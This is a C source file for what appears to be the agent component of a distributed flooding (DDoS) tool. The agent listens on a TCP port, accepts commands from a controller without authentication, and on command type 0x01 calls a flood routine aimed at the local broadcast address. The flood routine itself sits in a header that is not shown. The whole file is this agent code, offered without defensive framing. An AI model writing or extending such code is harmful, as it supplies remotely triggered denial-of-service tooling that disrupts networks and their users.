#include <string.h>
#include <netinet/in.h>
#include <stdio.h>

#include "common.h"

int main()
{
  struct sockaddr_in listen_addr, broadcast_addr;

  int sock_fd;
  char broadcast_ip[IP_LENGTH];

  get_broadcast_ip(broadcast_ip);
  printf("broadcast ip : %s\n", broadcast_ip);

  bzero(&listen_addr, sizeof(listen_addr));
  listen_addr.sin_family = AF_INET;
  listen_addr.sin_port = htons(AGENT_PORT);
  listen_addr.sin_addr.s_addr = htonl(INADDR_ANY);

  bzero(&broadcast_addr, sizeof(broadcast_addr));
  broadcast_addr.sin_family = AF_INET;
  broadcast_addr.sin_port = htons(FLOOD_PORT);
  broadcast_addr.sin_addr.s_addr = inet_addr(broadcast_ip);
  
  sock_fd = Socket(AF_INET, SOCK_STREAM, 0);

  Bind(sock_fd, (struct sockaddr *)&listen_addr, sizeof(listen_addr));
  Listen(sock_fd, 5);
  printf("listening ..\n");
  
  while(1)
	{
		int rcv_fd;
		struct sockaddr_in server_addr;
		struct command cmd;
		int n;
		socklen_t addr_len;
		char buff[BUF_SIZE];

		rcv_fd = Accept(sock_fd, (struct sockaddr *)&server_addr, &addr_len);
		n = Recv(rcv_fd, &cmd, sizeof(cmd), 0);
		printf("Receive conect from %s ..\n", inet_ntoa(((struct sockaddr_in)server_addr).sin_addr));
		printf("Receive %d bytes.\n", n);
		printf("Receive cmd : %s\n", cmd.cmd);
		if(cmd.cmd_type == 0x01)
		{
			printf("agent flood start:\n");
			buff[0] = 0x01;
			memcpy(buff+1, &cmd, sizeof(struct command ));
	 		flood(buff, sizeof(struct command) + 1);
	  	printf("flood\n");
		}
		close(rcv_fd);
  }
  close(sock_fd);
}
